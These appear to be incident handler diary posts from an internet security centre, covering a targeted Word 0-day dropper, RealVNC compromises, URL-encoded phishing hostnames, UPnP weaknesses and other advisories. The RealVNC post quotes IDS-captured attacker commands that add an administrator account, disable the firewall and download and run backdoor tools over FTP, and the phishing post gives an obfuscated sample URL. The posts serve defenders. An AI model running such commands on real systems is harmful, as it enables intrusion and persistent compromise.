Targeted attack: experience from the trenches
Learn
Learning lessons from incidents is a very important part of incident handling. Yet with targeted attacks it is very hard as you need to have a case before you can learn. So learning from others is even more important in this case.Michael reported on an unnamed organization being hit by a limited, extremely targeted attack.
Detection is mostly the very hard part in these attacks. This case seems to have been detected by a very alert user detecting a domainname in an email that wasn't completely right.
That user detected an email coming in that originated from a domain that looked like their own, but wasn't their own (actually only had an MX record in it). The email was written to look like an internal email, including signature. It was addressed by name to the intended victim and not detected by the anti-virus software.
FUD ?
In reaction to this reporting we've seen people react to it like it were a widespread thing. We need to stress this is not the case. This kind of attack is new, and so must the response be.
The group originating these attacks does so in a very targeted fashion. The document is crafted to target a specific organization, containing specific elements that deal with just that one organization. If you don't work for them, you are very unlikely to ever see this. Proof of how rare it is, are the number of requests for samples we got from companies like anti-virus vendors.
Chances are really huge you're not targeted, at least not by this exploit. There is so far one group doing (at least) one very targeted attacks with this. Either they need to change their method of operation to do widespread attacks, or some other group would need to get a sample, reverse engineer it, find the core of the exploit, modify it to work in a wider fashion and launch a new attack.
So do you need to dig in now? Most likely not, we suggest you act as if it's any new vulnerability where the details are still very well hidden.
- The one being targeted organization needs specific actions.
- If you are on the potential target list, you need to learn to defend against the unknown, not against this threat.
- If you're not on their target list, chances are you will not see an exploit till Microsoft releases a patch and the knowledge to exploit it can be derived by the hackers.
Panic and blindly taking actions is probably the worst course of action you can take.
Report
To say it in Michael's words:"Emails were sent to specific individuals within the organization that contained a Microsoft Word attachment. This attachment, when opened, exploited a previously-unknown vulnerability in Microsoft Word (verified against a fully-patched system). The exploit functioned as a dropper, extracting a trojan byte-for-byte from the host file when executed. After extracting and launching the trojan, the exploit then overwrote the original Word document with a "clean" (not infected) copy from payload in the original infected document. As a result of the exploit, Word crashes, informs the user of a problem, and offers to attempt to re-open the file. If the user agrees, the new "clean" file is opened without incident." They are working with Microsoft on this.
"We are still analyzing the trojan dropped by the exploit. What we do know is that it communicates back to localhosts[dot]3322[dot]org via HTTP. It is proxy-aware, and "pings" this server using HTTP POSTs of 0 bytes (no data actually POSTed) with a periodicity of approximately one minute. It has rootkit-like functionality, hiding binary files associated with the exploit (all files on the system named winguis.dll will not be shown in Explorer, etc.), and invokes itself automatically by including the trojan binary in "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows". Note that, as of this morning, no anti-virus signatures detected this file as problematic according to virustotal.com.
We have traced nearly this attack to the far east; specifically, China and Taiwan. IP's seen are registered there, domains seen are registered there, and the emails received originated from a server in that region. The attackers appear to be aware that they have been "outed", and have been routinely changing the IP address associated with the URL above.
Due to the aggravating circumstances (0-day, no AV detection), we wanted to make sure the community is aware that this problem exists as soon as possible."
More information:
Many thanks to all handlers active on this: Johannes, Chris, William, Adrien.
--Swa Frantzen - Section 66
FireFox DoS exploit public
Now as far as exploits that require javascript to be enabled go, I can't help but feel that a DoS is somewhat lame... If the attacker can already execute scripts, how much worse is getting the cpu load up to 100% ? Moreover the user will soon enough figure it out.
Your best option to mitigate this is to install something like NoScript.
--
Swa Frantzen -- Section66
RealVNC exploits in the wild
If you can share more details or just can report attempts, please let us know.
If you have any RealVNC exposed, check if you are hacked, and if not take measures immediately. If you want an inherently more secure solution check how to run vnc over ssh on your specific platform.
See more of the vulnerability in the May 15th diary by Kyle Haugsness.
[updates below]
List of exploits reported to us by our readers:
- Austin from the UK reports that all shared printers in his office stated to print:
Dear Network Administrator.
Please do not be alarmed.
My team is network security specialist.
You are using a vulnerable version of VNC.
Please upgrade your version soon.
We have not accessed your data but we could have.
Have a nice day
He notes that "RealVNC logs all connection IP addresses in the event manager which some people didn't know".
- An Anonymous report about the installation of typical tools installed by the warez and hacker crowd such as Serv-U and pwdump.
- Mike reported on a machine getting hacked and sent us what his IDS caught of it:
net user [user] [pass] /ADD
net localgroup Administrators [user] /ADD
net stop sharedaccess
sc delete sharedaccess
echo open [IP] [port] > ftptmp
echo user [ftpuserinfo] >> ftptmp
echo get usercontrol.exe >> ftptmp
echo get helpservice.svc >> ftptmp
echo get JAcheck.ini >> ftptmp
echo get JAcheck.dll >> ftptmp
echo bye >> ftptmp
ftp -n -s:ftptmp
del ftptmp
usercontrol /i
net start "ms system service"
- An anonymous user reports: "We have been using RealVNC 4.1.1 and have been experiencing successful unauthorized connections to our machines. Also, we have seen increased traffic on our network which looks like scanning, some network printers have also been printing pages of gibberish." He concluded with "We are currently upgrading all VNC servers to 4.1.2."
- Another anonymously reported attack that was done on port 5900 (also an IDS capture), so the RealVNC angle is only an assumption at this point:
cd %WINDIR%\system32
echo open [IP] [PORT] >>ms32
echo [user] >>ms32
echo [pass] >>ms32
echo get pack.exe>>ms32
echo get Iass.exe>>ms32
echo get mssd.ini>>ms32
echo get fport.exe>>ms32
echo get op.exe>>ms32
echo get pskill.exe>>ms32
echo bye>>ms32
ftp -v -s:ms32
Iass.exe /I
ipconfig
net start dnsd
pack.exe
--
Swa Frantzen -- Section 66
Phishers use urlencoding to obfuscate hostnames
One of our handlers (Bojan) found a hostname like this in his DNS cache:
www.paypal.com%20cgi-bin%20...(more )...example.com
This method appears to be used for a while, but I guess we missed it among all the phishing going on these days. Upon further investigation, we found that some browsers allow URL encoded host names. The impact is similar to the old (no longer working) method of using the "username:password@url" notation. So the impact is not "huge", but its yet another trick in the phishing arsenal.
Theoretically, a host name should only contain letters A-Z, numbers 0-9 and dashes (-). In order to support foreign character sets, "IDN" is used with uses that same set of characters to encode. For domain names, this is enforced by the registrars, but host names for existing domains are up to the user, and DNS servers typically allow "anything" (after all, DNS can be used for other things then host names).
We found that Internet Explorer, Safari and to some extend Opera will accept URL encoded host names and redirect to the "decoded" version. Further, they will allow spaces as part of host names. This is used by phishers to obfuscate URLs.
Explorer and Opera will accept the URL encoded host name, and redirect to it. But once you arrive at the page, the URL bar will show the URL in clear text.
Safari does accept URL encoded host names as well, but will NOT decode it as you arrive at the destination page.
Firefox refuses to use URL encoded host names.
Simple sample to test (not clickable, copy&paste):
http://www.paypal.com%20cgi-bin%20webscr%64%73%68%69%65%6c%64.%63%6f%6d
or try a host name with space vs. without (less of an issue as you would have to control DNS for the domain to use it)
http://www .securewebbank.com (vs. http://www.securewebbank.com )
URL encoding is only supposed to be used after the host name to encode the file name and the GET parameters.
Suggested defenses:- Inform users about this problem.
- Audit DNS caches to see if users asked to resolve such a host name.
- Audit proxy logs for such domains, and filter if possible.
Swiss security day
We all know Swiss neutrality, army knifes, cheese, banks, but even inhabitants of Switserland might be surprised that today was the Swiss Security Day. If you speak French, German or Italian, check out http://www.swisssecurityday.ch/.
Some intersting stuff I found was (all my very liberal translation)
- Security4kids:
- Targeting kids in groups aged 7-10 and 11-15.
- A short list of 5 action points for home users:
- Make backups
- Get anti-virus protection
- Use a firewall
- Keep software up to date
- Adopt the right attitude
- A list of 10 action points aiming at small and medium sized enterprises:
- Get security responsabilites in writing
- Make backups
- Anti-virus protection
- Firewall
- Keep software up to date
- Strong passwords
- Protection of mobile devices
- Create guidelines for IT usage
- Create a physical perimeter
- Classify data
- They have a 44 page document addressing teachers and parents. It explains security wonderfully (SchoolNetGuide [FR] [DE] [IT]). This document says some things that are just not true in e.g. the US: All banks use 2 factor authentication using either a printed page of one time passwords or either a hardware token.
I'm sure other countries have similar days, but I was most impressed by their schoolnetguide, a pity it's not available in English.
--Swa Frantzen -- Section 66
UPnP Problems
Standard hardening guides will recommend to turn off UPnP.
A recent post on Securityview.org outlines that even though a security model was defined for UPnP, it is not used. Any workstation on the local network will be able to configure the UPnP capable device "at will". Even worse: Port mapping does not check if you actually redirect a port to an internal host in some cases.
Short lesson: If you haven't yet, turn off UPnP. If you need UPnP, make sure you got the latest firmware as it may eliminate some of the worst issues (e.g. rerouting to an external host). You should at least log UPnP messages with an IDS (e.g. snort, or even tcpdump will do fine). The nice thing is that the UPnP messages are pretty easily readable.
Thanks to John Herron for pointing us to the Securityview site.
IBM websphere: Last Call
IBM's WebSphere versions 4.0 and 5.0 contain a certificate that will expire in a few hours. The exact time of expiration is 18 May 2006 at 21:59:19 GMT. So you have little time left if you need still to act on it.
For more detailed information check out the IBM support page.
This actually is a consistent problem with many solutions that use certificates: They expire, for good reason, but it makes you vulnerable should the vendor decide not to support you with a new cert or go somehow belly up. (IBM seems to be doing the right thing so far). Trying to get an escrow on it might prove to be very hard.
A good way to deal with this is to create and maintain an inventory of when what cvertificate expires. That way you can plan against these dates.
--
Swa Frantzen -- Section 66
Comments